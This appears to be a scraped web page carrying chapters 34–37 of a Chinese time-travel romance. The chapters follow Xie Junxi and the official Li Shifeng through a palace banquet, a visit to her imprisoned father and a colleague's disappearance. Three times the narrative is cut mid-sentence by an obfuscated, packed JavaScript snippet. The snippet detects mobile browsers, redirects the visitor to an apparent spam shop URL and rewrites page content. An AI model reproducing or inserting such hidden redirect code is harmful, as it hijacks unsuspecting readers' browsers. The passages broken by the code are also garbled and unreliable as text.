“小诺,也不知道小明那边怎么样了……”谢筠熙忧心忡忡,全然听不进去艾诺说的话。 “你就这么关心那个小孩?” 熟悉的声音传入耳中,将谢筠熙炸得差点跳开三尺远。 “李……大人!!你是怎么进来的?!”谢筠熙跟见了鬼一般,指向李时丰的指尖颤抖。 “啊!大理寺少卿私闯民宅!”艾诺也被吓了一跳,直直从椅子上跌落。 谢筠熙赶忙上前把喊疼的艾诺从地上扶起。 “大人,您是怎么进来的?”谢筠熙一边安抚艾诺一边问李时丰。 谁知李时丰看了一眼屋外的高墙,仍是一言不发。 不是吧……堂堂大理寺少卿,不走正门还要爬墙?这对吗? 谢筠熙上下打量着李时丰,眼里尽是怀疑。 “本官现在不宜直接露面。”李时丰将手藏在身后,偷偷拍去下摆沾上的泥污。 “哦~你是特意来跟我说今早发生的事是吗?”谢筠熙突然反应过来。 艾诺捂着心口夹在两人中间,她看看李时丰,再看看谢筠熙,突然品出了一丝不对劲。 “两位先聊哈哈哈,小今安我就不打扰你和大人了~”艾诺挥着手说了声拜,识趣地替二人关上了房门。 “你想知道?”李时丰向前走一步。 “当然,不然大人来这里做什么?”谢筠熙下意识后退一步。 “若没事,就不能来了吗?”李时丰坏心思地凑近谢筠熙。 “大人自然想来便能来,小女子拦也拦不住啊……”谢筠熙被逼到墙角,不自觉地扭过头去。 “哦?那你有想过让本官来吗?”李时丰目色愈发暗沉。 “我可是,一直盼着大人能来告诉我今早发生的事呢……”谢筠熙心虚地摸了摸鼻子:不然我真的要自己偷偷溜进宫了。 “真的?”李时丰向后退开,一看就是将信将疑。 “嗯,真的。”谢筠熙突然转头,认真地注视着李时丰的双眼。 “本官何时与你如此信任了?”李时丰冷哼一声。 自己爬墙进来的是你,在这傲娇什么呢? 谢筠熙暗自腹诽,莫名多了些底气,她站直了身子,反向李时丰的方向步步逼近:“大人,我们一起经历了这么多,合作也快两月有余,我这个人如何,大人是看在眼里的吧,虽然也不指望大人对我有十足的信任,但既然大人愿意独自来找我,您说这话,是不是有些此地无银三百两了?” 李时丰被她逼到榻边,竟难得被她这一顿话说得有些发懵,谢筠熙眼底的得意被他净收眼底,李时丰的心脏漏跳了一拍异样的感觉涌上心头。 又来了…… “大人怎么不说话了?”谢筠熙见李时丰愣在原地,拿手在他面前挥了挥。 “啪”,谢筠熙的手腕被李时丰牢牢抓住,温热的触感蔓延开来,谢筠熙本能地想要挣脱,但无济于事。 身体失重了一瞬,等到反应过来,谢筠熙才发现自己已然跌坐在榻上,李时丰那锋利的眉眼缓慢逼近,眼光流转之间,她感到错愕,浑身却僵硬起来,一动也不敢动。 “大人……”谢筠熙只能从喉咙里挤出这两个字。 “谢今安,你似乎搞错了一件事,本官从来都不是什么好人。”李时丰甩开谢筠熙的手腕,目光如刺。 “那大人今日前来,是来干什么的?总不能一时兴起吧?”谢筠熙反应过来后毫不畏惧地回视李时丰。 “我来,是为了替那小家伙传信。”李时丰不情不愿地扭头。 “小明?”谢筠熙立刻就变了脸色,乖乖在榻上坐正,“小明要跟我说什么?” “他让我跟你道谢。”李时丰背过身。 谢筠熙心情复杂:小明这孩子未免太明事理了些,哎…… “怎么?你这是又在心疼那小家伙?”李时丰见谢筠熙唉声叹气,叉着腰走到她身边。 “是啊,可我现在也不知该怎么说了,皇家之事,终不是我们可以随意讨论的。”谢筠熙垂眸思索着。 “你现在倒是想开了。”李时丰与她并排坐下。 “大人,除了这个呢?你还有事跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531661|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说吗?”谢筠熙抬眸望向李时丰。 不知怎的,这一眼犹如羽毛滑过心尖,硬生生将将李时丰看楞了一刹那,李时丰躲开谢筠熙的目光:“怎么?谢小姐这是在赶人?” “咦,别叫我这个,从大人嘴里说出来真怪。”谢筠熙皱眉,语气却轻飘飘的。 “对了,藜姐姐还好吗?”谢筠熙突然贴向李时丰,凑得极近。 一股淡淡的清香飘向李时丰,低头便是谢筠熙那张秀气的面庞。 “你,就不能离远点说话。”李时丰将谢筠熙向外推了推。 “方才大人也是离我这么近的,礼尚往来罢了。”谢筠熙不依不饶。 好一个礼尚往来。李时丰在心里咬牙切齿。 “藜秋暂时被扣在衡王那边,放心,不会有事的。”李时丰正色起来。 “总觉得殿下有些不大靠谱啊……” 谢筠熙嘴里嘟囔着,被李时丰打断话头:“你信不信我把你说的大不敬之言通通告诉王爷?” “好了好了,我错了,你接着说。”谢筠熙顺了顺李时丰的毛。 “只是想要她命的人应该不少,消息保得了一时,却保不了一世,届时怕是城西的人都有祸事,殿下与我会另寻办法。” “大人,真是今时不同往日,大人竟然也会担忧起别人的性命来。” 谢筠熙稀奇地望向李时丰,啧啧称赞。 “殿下要揪的那条大鱼,城西之人也是关键线索,他才不会做这么损人不利己的事。”李时丰无视谢筠熙的调笑接着道。 “好吧好吧,那今日在朝堂之上,二皇子又是如何?” 李时丰颦眉:“你打听他做什么?” “王爷既然要和他争储位,必然说了不少难听的话吧。”谢筠熙做出一副了然的姿态。 “你倒是了解他。”李时丰无语。 难怪正史上衡王被流放,想来二皇子一定十分厌恶他这三弟的嘴。 谢筠熙思及此,突然又想到了什么:“殿下是不是提了接风宴的事?” “是又如何,与你何干?”李时丰警惕地看向谢筠熙那兴冲冲的模样,就知道此女又要搞事。 “大人,我想进宫。” “想都别想……” 两人的声音同时响起,屋里一阵沉默。 “大人,求您了,不会给您添乱的。”谢筠熙双手合十苦苦哀求。 “有理由吗?”李时丰无奈地闭上双眼。 “我想……见我爹一面。” “你疯了!”李时丰悚然,“想要上赶着去送死可以现在就做了结。” 说着李时丰就要抽出横刀,被谢筠熙摁住了手:“大人,有件事小女子要去确认一下,很重要,真的很重要!拜托……” 谢筠熙感受到手下之人的僵硬,顿时觉得有戏,继续睁着她那明亮的眸子抬眼瞧着李时丰。 “此事本官要与殿下商议后再做决定。”李时丰无法,只得给出这样的回复。 “呀吼,大人,不枉小女子对大人的信任,爱死大人了。”谢筠熙狠狠抱住李时丰,猛得拍了三下李时丰的背,然后雀跃着起身。 “本官还没答应!”李时丰怔愣了一瞬。 “嗯嗯。”谢筠熙含糊其辞。 “你……”李时丰拂袖而去,临到窗边,他无奈地看了一眼谢筠熙,一跃而下逐渐消失在黄昏中。 35. 接风宴 谢筠熙在接风宴的前一天还在忐忑李时丰是否真的会把她带进宫里,直到那日上午她在艾诺家门口看见了那辆熟悉的马车,这才安下心来,掏出小铜镜确认自己的伪装无误后,这才弯腰钻进了马车里。 “大人,好早。”谢筠熙同正襟危坐的李时丰打了声招呼,在得到一阵沉默的回应之后,谢筠熙习以为常在李时丰身边一屁股坐下,开启了今日份对其的骚扰。 “大人,我今日这样,可还算隐蔽?”谢筠熙故意把脸凑到李时丰跟前,让他的目光无处可躲。 李时丰无法,只好将目光停留在这个恼人的家伙脸上一瞬,首先注意到的就是那放进人群里存在感极低,且削弱女性特征的面容,但是那双永远明亮的眸子却极有存在感地昭示着此人的身份。 无论是何模样,李时丰都能认出来。 他的嘴角微微上扬,嘴里说出的话依旧不饶人:“这么久了你的手艺还是不太行啊,本官怎么一眼就能看出你?” “大人……你那是,对我太熟了才这样……”谢筠熙听罢梗着脖子转过头,心里却多了几分自我怀疑:真的假的,真的很明显吗?可恶啊这个李时丰,给我说的有些不大自信了。 李时丰的视角下,将谢筠熙偷偷拿出铜镜查看的模样尽收眼底,他暗笑着又给谢筠熙吃了一颗定心丸:“糊弄本官不大行,但是糊弄宫里的人倒是绰绰有余,别露馅就行。” 谢筠熙惊喜转头,将小铜镜重新收回衣兜里:“如此甚好!” 可过了一阵她又突然想起了什么,低头小声同李时丰问着:“殿下呢?他能不能认出来?” 李时丰笑笑:“你觉得呢?” 好吧好吧,以赵泓玉那毒辣的眼光,认出来也罢了,反正按李时丰和他共事的作风,他不可能不知道这件事……没人可以打乱他计划的一环。 “哎,算了,殿下那边,他不知道才怪,对吧。”谢筠熙趴在小桌板上,闷闷地说着。 “嗯,放心,你想做的事殿下尚也认可,到时候会派人去接应你,记得随机应变。”李时丰望着谢筠熙头顶的发旋,突然萌生了一种莫名的冲动。 谢筠熙正趴得自在,突然觉得发丝有些牵动,一阵酥麻的痒意从头顶蔓延到脚跟,让谢筠熙下意识地缩了缩后脖子:“大人,您这是在做什么?” 李时丰!这是又抽得哪门子的疯? 谢筠熙保持着得体的微笑,缓慢地抬起头,就见李时丰手里攥了两根发丝,一看就是从自己头上揪下来的,新鲜得很。 “……你做什么非得乱动?”还没等谢筠熙开始发飙,罪人先告上状了。 “我还想问大人呢?!做什么非得来揪我的头发?有什么事冲我来啊,不要折磨我的头发!” 谢筠熙被气得抱住自己的长发,做出一副垂泪欲滴的模样。 李时丰无情地看着她浮夸的演技,手下将发丝藏进自己兜里的举动却没有停止半分,半晌他给出评价:“太过了,这样更容易露馅。” “哦,好吧。”谢筠熙收起那副脆弱的模样,平静地坐直了身子。 两人闹完,李时丰从腰边扯下一块小木牌,塞进谢筠熙手里。 “一会你先跟在本官身后,喏,这个给你,一会换衣裳的时候戴上。”见谢筠熙正垂眸打量那木牌,李时丰又补上一句,“记住,你今天的身份是本官身边为九皇子献礼的下属。” 话说,今日去赵明赫接风宴的,应该都是些皇亲国戚和极少数的重臣,李时丰能受邀前去,可见其身份地位的不一般。 谢筠熙有些走神,只是随意地回了李时丰一句“好”。 “有没有在听本官说话?”李时丰见谢筠熙又是那副游离的模样,顿时有些气不打一处来。 “嗯嗯,我当然在听了。”谢筠熙说着却突然正色起来,“大人,你……不止是大理寺少卿吧?” 李时丰瞳孔骤缩,一阵恼意涌上心头:“谢今安!少打听,舌头不要可以直说,本官这就帮你剜了。” “欸大人莫气,这刀太危险了,怎么可以随便拿出来呢?”谢筠熙显然已经熟知了李时丰虚张声势的套路,自觉地绕过李时丰身侧,替他把刀收进刀鞘中,也不知是安抚刀还是安抚人,十分欠抽地拍了拍刀柄,温声细语地哄着,“好刀好刀,你的主人脾气也太大了些,总是把你叫出来你也累,对吧。” 谢筠熙这个动作几乎将半个身子压在李时丰腿上,李时丰眸色愈发暗沉。 “谢今安,从本官身上起来,你是今早被门夹了脑袋吗?本官数到三……”李时丰正要开口,谢筠熙“噌”的一下坐起来,又是那副知错不悔的模样。 “到了,大人。”谢筠熙指指窗外,大理寺的门匾赫然近在眼前。 “你!”李时丰叹了口气,“下来吧。” 等到谢筠熙换完衣裳,赵泓玉的马车也正好停在了门口。 李时丰出来时,谢筠熙紧随其后,已然是一副普通男子的模样,而今天的赵泓玉打扮得更为隆重,将发冠高高梳起,乍一看还真有几分君子之姿。 如果他不是像往常一样一边和李时丰搭话一边用不怀好意的目光打量谢筠熙就更好了。 谢筠熙汗颜,为了维持住自己的人设同赵泓玉行过礼后就自觉坐到了马车前辕上。 过了弯弯绕绕的小径,终于见到了皇宫那金碧辉煌的一角,谢筠熙不知怎的心情异常激动起来:我去啊,这可是真正的皇宫!前朝的宫殿!此刻我竟可以就这样堂而皇之地进去!小女子此生无憾…… 谢筠熙心潮澎湃,却只能强行压下这一份激动,恪尽职守地守好自己侍卫的本分,目不斜视地等着马车停在宫门口。 好不容易到了接风宴的前殿,饶是谢筠熙幻想过无数次古代的宫宴场景,也还是被眼前的景象差点惊掉了下巴。 觥筹交错,歌舞升平此刻有了具象化,此刻已然宾客满座,衣着华美的贵人们或是掩面交谈,或是相互行礼落座,谢筠熙跟着李时丰来到席间,将颤抖的双手藏进衣袖里,好在妆容掩去了她的紧张,可行走的身形上依旧有些僵硬。 “放松,你又不是第一次来这种场合。”李时丰察觉到谢筠熙异样的举动,轻声提醒,心中的疑虑同时加重了几分:虽然沦为罪臣之女,可按理来说,此等宫宴谢今安不可能没有跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546379|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢康参加过,她这番样子,反倒有些奇怪。 但来不及让李时丰深究,已经有到场的宾客同李时丰拉长扯短地攀谈起来,谢筠熙默默低下头,那些来者或讨好或恭维的话语落到谢筠熙耳中,充斥着官场的虚伪。 “皇上驾到——”燕公公的声音从不远处传来,满堂宾客顿时鸦雀无声,急匆匆回到自己的席上,做好接见皇帝的架势。 “吾皇万岁万岁万万岁!” “今日乃是九皇子的接风宴,众卿不必如此约束,朕欣悦之,此等喜事,众卿当与朕同乐才是。” 赵砚宸将手一挥,肉眼可见的欣喜。 谢筠熙从地上起来时,目光划过皇帝身边,惊喜地发现已然大变样的小明正也看向李时丰和赵泓玉的方向,他虽换上了皇子繁复的衣着,眼里的纯真却全然不减半分,掠过李时丰时,笑得一如在城西见过的那般模样,李时丰点头致意,眼里带着自己都没有察觉到的笑意。 此次宴会也是让九皇子认识皇宫之人的契机,皇帝始终牵着小幺的手,毫不顾忌地向席间宾客释放着对这个皇子的宠爱与失而复得的珍惜。 众人看在眼里,也记在心里,不少人都有了新的打算。 所有人面色如常,皇帝落座后,席间动筷声渐起,天子叫侍从替他斟酒,宾客们更是热闹非常。 宾客们的礼物也随着燕公公的叫喊声被清点着,谢筠熙恭敬地将手中的礼物交予前来取物的小太监,不敢有一丝异常的举动,好在十分顺利,她也在心底松了一口气。 “今日已是慕琴离开朕的第几个年头了……明赫终于回到朕的身边了……” 皇帝酒过三巡,醉意涌上心头,握着幺子的手说着这些胡话,席间之人纷纷低头讨论,没想到柳贵妃薨逝如此之久帝王对她还是如此留恋。 一时间大家心里都别有滋味。 “国师,上前来。”朕突然向最前面的席座喊着。 “是,陛下。”柳无涯站起,沉默着走向帝王身边。 赵璟曜见状紧锁眉头,但帝王之言他不敢打断,只得给自己又斟上了一杯酒,边喝边用余光注视着座上的动静。 “国师,明赫这双眼,与慕琴真是相像,朕说的对不对啊。” “回陛下,与贵妃确实相像,臣见了也不由感慨万千。”柳无涯年事已高,目光却依旧清明,他望向赵明赫的目光里含了些说不明道不清的东西。 赵明赫有些畏惧,不察觉地握紧了皇帝的手。 “按辈分来说,慕琴是国师的女儿,也就是你的祖父,明赫不必拘谨,快上前来。”赵砚宸感受到幺子的紧张,安慰着将他唤到柳无涯跟前来。 底下的所有人不动声色地关注着座上发生的事,连谢筠熙也不由望向了上方。 “时丰,本王总觉得,国师有些不大对劲。”赵泓玉坐在李时丰身旁,此刻正边吃边和他咬耳朵。 说这话时柳无涯正下来归座,视线扫过席间,正好和李时丰那边撞上,不知是不是错觉,李时丰警觉地感受到了一丝敌意。 “确实不过尚不能定夺,殿下先不要乱说。”李时丰推开赵泓玉。 36. 失踪 宫宴正如火如荼地进行着,谢筠熙隐没在人群里,悄然离开了殿内。 今日的侍卫相较往日又增了整整一倍,谢筠熙潜在殿门口观察着这些来来往往的侍卫,见赵泓玉安排的人迟迟没有出现,不由有些心焦。 人呢?赵泓玉不会坑我来的吧。 谢筠熙正要拔腿离开,肩膀突然被人勾住,此举让她的心脏顿时狂跳起来,谢筠熙出了一身冷汗,顺着力道往后望去,看到的是一张陌生的面孔。 “熙老板,好久不见。”那人一副醉醺醺的模样,说出的话却全然不见醉意。 这声音有些耳熟…… “好久不见。”谢筠熙警惕地打了个招呼,迟疑着要不要继续往前走。 “殿下之前对熙老板也是赞赏有加,熙老板做事,真是不同寻常。” 谢筠熙一愣,似乎是回忆起些什么,压低声音问他:“沐柳巷?” “是啊,走吧,熙老板,们好好叙一叙~”那人将谢筠熙拉到与殿内一般聚满人的后院,借着人群的遮掩逐渐脱离侍卫的视线。 这人应当是……沐柳巷给我递纸条的人? 谢筠熙一边被他带离,一边上下打量着此人,直到看见他腰上明晃晃的“衡”字,基本可以确认这就是赵泓玉的人。 让谢筠熙感到诧异的是,园中同此人打招呼的也不在少数,甚至态度也相当恭敬,想来应当也是赵泓玉身边颇受器重的下属。 此人带谢筠熙来到了一处没什么人的地方,左右环顾确认没有人后这才和如同弹簧般和谢筠熙分开,那轻飘飘的态度也立刻三百六十度大转变。 “熙老板,诏狱就在此处不到半里的地方直走便是,老板只需同诏狱今日的当值侍卫拿那腰牌打声招呼便可,届时还会有人接应。”那人嘱咐完这些话,还没等谢筠熙反应过来,就这么飞身拐进宫墙内消失不见。 “诶……”谢筠熙左看右看心茫然,只得被迫按着那人说的话继续往前走。 赵泓玉到底在宫里插了多少眼线,连诏狱都有他的人……原历史他到底是怎么夺嫡失败的?? 谢筠熙一边小心翼翼地走着,一边在心中暗自腹诽。 没过一会,诏狱的大门近在眼前,谢筠熙屏息凝神,明目张胆地走到门口,不出意外果然被拦了下来,她恭敬摘下腰边的木牌,一言不发地向那两名狱卒递去。 果不其然,他们看了一眼木牌,互相交换眼神后,心中立刻有数。 不多时,狱卒大打开诏狱的门,拿出盛饭的勺碗,递给谢筠熙:“你便是那个来给谢相送饭的新人?进去吧!” “是。”谢筠熙双手接过,发现这饭食同她想象中截然相反,这样一看,这个素未谋面的爹在牢里过的也不算寒酸啊…… 让她拿饭的狱卒带着她来到那阴暗的诏狱内部,谢筠熙刚一进去,就闻到了那浓重的血腥味,好在经过李时丰前段时间的“培训”她显然可以独自应对,也没有什么出格的反应,只是随着狱卒往诏狱更深处走去。 “就是这了,进去吧。”狱卒拿出钥匙,替她打开了此间最大的牢房。 “来啦?多谢多谢。”谢筠熙刚一进门,方才还端坐在破木桌前写些什么的白发老人立刻起身,满脸笑意地亲自上前接过谢筠熙手里的饭食,谢筠熙的目光与他一触即分。 那双与谢今安如出一辙明亮的双目将谢筠熙一惊。 据史载,谢相乃不可多得的肱股之臣,对赵氏王朝忠心耿耿,为辰朝的繁盛做出了不少贡献,且其人亲民温和,有仁善之心,又是难得的高尚之人,朝堂民间对他的赞声颇为广泛,只是也不可避免地受到政敌的嫉恨,被人一纸劾奏告进狱里,原本帝王也并未完全相信此事,查案过程中不知发生了何事,谢相罪名确证,被斩首示众,据说斩首那日万民同悲,后世也因此对淳光帝有所诟病,称帝此举大大缩减了辰朝寿命。 如今事件的中心人物就站在谢筠熙跟前,而此刻她的身份,正是此人的亲生女儿。 谢筠熙的双手又不自觉颤抖起来,但她不得不强行让自己镇定下来,抓紧时间压低声线向谢康抛出困扰多日的疑惑:“此局,大人所为何人?” 谢康原本正乐呵地准备坐下开饭,听到此言,脸上的笑意不减,反而更甚:“小友,老身不知,此局为何?” “……” 空气凝固了一瞬,谢筠熙不知如何作答,门外狱卒已然在用眼神示意谢筠熙,她不得不对着谢康行礼告退。 临走之前,谢筠熙最后望了谢康一眼,她那亲爹正在没心没肺地享用午膳,全然没有被关押的悲戗。 清者自清,谢相的心胸或许比我想像中更加豁达,是我狭隘了。 谢筠熙自嘲地笑了笑,毅然离开。 接风宴后,九皇子正式入住皇宫,而暂扣在衡王府邸的藜秋第二次被皇帝召见。 其实此举亦是赵泓玉一手促成,既已答应九皇子要护城西之人周全,自然需要一个强有力的支撑,放眼天下,能够说一不二的,唯有天子一人而已。 没人知道皇上、衡王和藜秋在御书房究竟又说了些什么,但九皇子一事后,衡王府前的拜访者又更多了些。 过几日后,谢筠熙在大理寺又见到了藜秋,赵泓玉带着满脸疲倦的她在门前下了马车,正巧谢筠熙正在清扫庭院,见到与几日前相比更加消瘦的藜秋,手里的笤帚一个不稳脱手摔在地上。 正要上前,藜秋却比她先快一步捡起地上的笤帚,递还给谢筠熙。 “小姐,妾得走了。”藜秋笑得温和,满眼平静。 “走?回城西吗?”谢筠熙追问。 “不,是更远的地方,妾终于可以返乡了。” 谢筠熙心里一惊:“那城西的那些……” “陛下下了命令,城西本就是我们这群罪人的居所,如今九皇子得归,我们的罪名被陛下解除,但依旧不能入皇城,却也不必困在此处。” “如此甚好……”谢筠熙不知说些什么,只能这样回应。 “殿下,他们……”谢筠熙转向一旁的赵泓玉。 赵泓玉点头:“这样也可免去他们被有心之徒追查的危险,已是权宜之策。” “好。”谢筠熙应下,垂眸却不知在想些什么。 “对了,陛下原本说想要见你一面。”赵泓玉突然将话头转向谢筠熙。 “什……” “不过本王好心帮你挡了这一事,打算怎么谢本王啊,熙老板?”赵泓玉依旧笑得邪恶。 “殿下,该启程了。” 不知从哪里冒出来的李时丰无声地伸出一只手插到谢筠熙和赵泓玉之间。 赵泓玉侧眼瞧了李时丰一眼,悠悠背过身子摇着扇子重重叹上一口气,又故弄玄虚地补上一句:“罢了罢了。” 前脚就这样迈出了大理寺的门。 藜秋见状赶忙跟上,满含歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557856|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意地冲谢筠熙弯腰致谢,脚步匆匆跟着赵泓玉上了马车。 至此,小明再也不是小明,而是身在宫中的九皇子。 谢筠熙拿着笤帚,呆呆望着二人离去的身影,心里如同打翻了调色盘一般五味杂陈。 “愣着做什么,这里还没扫干净呢。”李时丰打断谢筠熙的思绪,将她扯回满园碧绿之中。 原来殿试之后,竟早已到暮春时节了吗,枝丫倒是愈发繁茂了。 谢筠熙闷闷应了李时丰一声,拿起笤帚又开始扫起来,却发现不知不觉间,春季也就快接近尾声了。 今日怎的一句反驳的话都没有? 李时丰绕着谢筠熙转了两圈,也没发现什么异样,只好撂下一句:“清扫干净了再进正厅。” 说罢头也不回地离开了。 “服了,我答应还他那个该死的人情做什么!”谢筠熙愤愤摔了笤帚。 可怜的笤帚就这样被摔了两次,欲哭无泪地注视着主人,谢筠熙撒了气又沉默地把笤帚捡起来,有一下没一下地扫着大理寺的地砖,只是更加心不在焉。 好不容易完工,谢筠熙将笤帚和簸箕放好,从小门悄悄走进了正厅。 李时丰正一丝不苟地处理公务,看上去完全没有注意到谢筠熙。 正合我意。 谢筠熙在心里“嘿嘿”一笑,踮起脚尖靠近李时丰。 “大……” 谢筠熙贴近李时丰的耳畔,生怕他听不到似的正要叫起来。 “幼稚。”李时丰不动声色地往一旁侧了侧身,谢筠熙身形不稳,一个趔趄摔在李时丰的桌案上。 “啊啊!痛痛痛!”谢筠熙揉着摔疼的腰,悻悻起身。 “偷鸡不成蚀把米。”李时丰一板一眼地对着谢筠熙说教,嘴角却却不知不觉上扬起来,“摔疼了?” “还好,我才没有这么脆弱。”谢筠熙倔强地直起身子,冲李时丰摆了摆手。 “嘁,嘴硬。”李时丰闻言拾起方才被谢筠熙撞到地上的公文,继续翻阅起来。 谢筠熙就这样和往常一样同李时丰在正厅待到了深夜。 谢筠熙没有忘了老本行,把放在侧厅的工具拿到正厅,搬了一套桌椅,在李时丰不到一尺的地方捣鼓那些破损的证据。 两人忙得几乎忘我,直到陆贰和徐柒鬼鬼祟祟地走进正厅,带来了一个出乎意料的消息。 “见过大人,夫……谢小姐。”徐柒差点把心里话说出口,忙在虚空中掴了自己一掌。 “何事?”李时丰抬头睨了略显心虚的徐柒一眼。 “老大,花昀近日是否告假?”陆贰比徐柒更着急,直截了当地询问李时丰。 李时丰放下手中的纸笔,皱眉抬头:“没有,近几日他应一直在当值才对。” 这话将一旁的谢筠熙也说得抬起头来,一种不祥的预感爬上心头。 “那就不妙了。”徐柒定定补上这句,“大人,花昀已经三日未来当值了。” “花昀这是……失踪了?”谢筠熙有些不可思议。 “如此看来,应该是这样的。”陆贰接话。 “明日查查他的行踪,此刻夜已深,多说无益。”李时丰看了谢筠熙一眼,收拾好最后一份公文,离开了桌案。 “是!”陆、徐二人异口同声答道。 这是又有什么要发生的节奏啊…… 谢筠熙心中的不祥再次被放大。 37. 重翻卷宗 “该起了。”李时丰同往常一般站在侧厅门口,把尚在睡梦中的谢筠熙从榻上提溜起来。 “好困……怎么比高中上早六还要准时……大人您究竟是什么物质构成的……”谢筠熙照旧顶着一头乱毛起床。 这货说什么呢? 李时丰松开谢筠熙的后领,就看她晃悠了几下,又一头栽倒在被褥之间。 “怎的每次来叫你都困倦成这样,昨晚作甚去了?”李时丰眉眼微沉。 “大人,先人好歹也是闻鸡起舞,您这比鸡起得都早,小女子真是自愧不如……困……”谢筠熙把头埋在被褥里闷声抱怨。 “回来再睡。”李时丰凝视着榻上这一坨不明生物淡淡地回了一句。 “好叭……牛马痛苦的一生……”谢筠熙被迫答应,不情不愿地支棱起来。 是因为没有清醒吗?怎么感觉谢今安被夺舍了,虽说她之前也是这样神神叨叨。 “啪啪” 李时丰正这样想着,突然传来两声清脆的巴掌声。 谢筠熙捂住被自己拍红脸,眼神总算清明了一些。 “你……困便困,何必对自己下手这么狠。” “没事大人,这法子对我来说可管用了,拍一拍瞌睡虫就全跑了,这是我从我妈……额,我娘那边学来的。”谢筠熙叉腰起身,顺势伸了个懒腰。 “你……”春季的寝衣料子比较薄,谢筠熙抻开手时将上衣带上去半截,白皙细软的侧腰就这样闯入了李时丰眼中,李时丰迅速挪开目光,仿佛那里有什么洪水猛兽般可怖。 “怎么了大人?”谢筠熙注意到了李时丰的反常,往自己身边看了一圈,并没有发现什么异常。 “别磨蹭了,快些洗漱更衣。”李时丰闭上双眼催促道。 “反复无常……这哪里是什么罗刹,分明是别扭鬼……”谢筠熙嘴里嘟囔着,捡起放在床边的衣裳穿上。 “谢……”李时丰刚要发作。 谢筠熙伸出一只手打断了他:“诶,错了,大人,小女子知错。” 说罢迅速套上自己的最后一件外衣去屋外打水。 怎么拿她越来越没辙了……都怪赵泓玉。 李时丰扶额。 没辙的李时丰带着谢筠熙来到了大理寺尘封的地下卷宗室。 还是凌晨,太阳刚升起来的时候,刚一进这卷宗室,仿佛又回到了黑夜,谢筠熙拿着火烛跟在李时丰身后走得小心翼翼。 到最底下的一间小室,尘封已久的书卷味扑鼻而来,谢筠熙两眼放光,端稳火烛,保持着些许距离,细细看起来。 “感兴趣?”李时丰见她又是这副模样,明知故问道。 “嗯,我们不是要查花昀失踪这件事吗?怎么带我来这?” 谢筠熙转向李时丰,眼里的烛火正悠悠跳动着。 “嗯,但又不止这件事。”李时丰点头。 “大人,你似乎对花昀失踪这件事并不着急啊?从昨日起我就有这种感觉。”谢筠熙举着火烛走向昏暗中那高大的身影。 直到火光将李时丰立体深邃的五官照出一小块阴影。 “是,本官并不意外。”李时丰的眼睛愣是没有眨一下。 “他事先告知过您?”谢筠熙颦眉。 “没有,只是本官在暗地里调查他已经很久了,一切只是为了……” “为了让真相水落石出?”谢筠熙接上后半段话。 “你在怀疑什么?大人。” “花昀是不是单独找你说过话?”李时丰逼近谢筠熙。 “……是。”谢筠熙被吓了一跳,手里的烛火差点没有拿稳。 “坐。”李时丰指向室内桌案和蒲团。 “纵火案一事,是他提示我的。”谢筠熙理顺下摆跪坐在上面。 “本官知道,果然是他。”李时丰从架子上拿来一份尘封已久的卷宗,摆到谢筠熙面前,也顺势坐下。 “这便是之前被潦草结案的纵火案卷宗,给。”李时丰将它们往谢筠熙的方向推了推,示意谢筠熙打开看。 “大人对此案不是……有所顾忌,就这样信任我?”谢筠熙有些惊疑不定,但手已经自觉地把卷宗通通拉到了面前。 “如今就是本官有所顾忌,陛下也早已宣布重查此案,九皇子一事过去后,再生事端,本官很难不怀疑与此事有关。”李时丰挽起袖口,从堆放的卷宗里翻出一卷看起来。 “谢今安,你先前是不是觉得本官不止是大理寺少卿?”李时丰边翻卷宗,边用余光瞥向谢筠熙。 “呃……是啊,所以?”谢筠熙不知道李时丰这是又唱得哪出。 “的确,本官先前并未任职,甚至也并没有待在京城。”随着李时丰说出这话,谢筠熙细看卷宗的动作停了下来。 “大人,不是京城人?”谢筠熙有些不大确定,可当她把视线再次放到李时丰脸上时,顺着眉眼细细描摹,却看出了几分与京城截然不同的气质,只是平日里被他那副官场矜持的外表遮盖了去,此刻他没有刻意隐藏,直直看向谢筠熙的眼神深藏暗芒。 “是,但也不算是。”李时丰托着下巴目光沉沉望向谢筠熙。 “大人,您是在打哑谜吗?”谢筠熙狐疑。 “兹事体大,如果你深入到这个案子来,就一定会知道的,本官现在还不想彻底告诉你。”李时丰露出一抹得意的笑容,再次低下了头。 谜语人!现在又变成谜语人了!最讨厌这种话说一半的人了! 谢筠熙抓心挠肺得来了李时丰这样一通话,气得咬牙切齿,冷哼一声本不想再理李时丰,奈何他们都不说话,干看着卷宗也不是个事,谢筠熙无法。 “好好好,如此甚好。”吹胡子瞪眼了半天,谢筠熙愣是没有等到李时丰抬头,只能憋出这样一句话来。 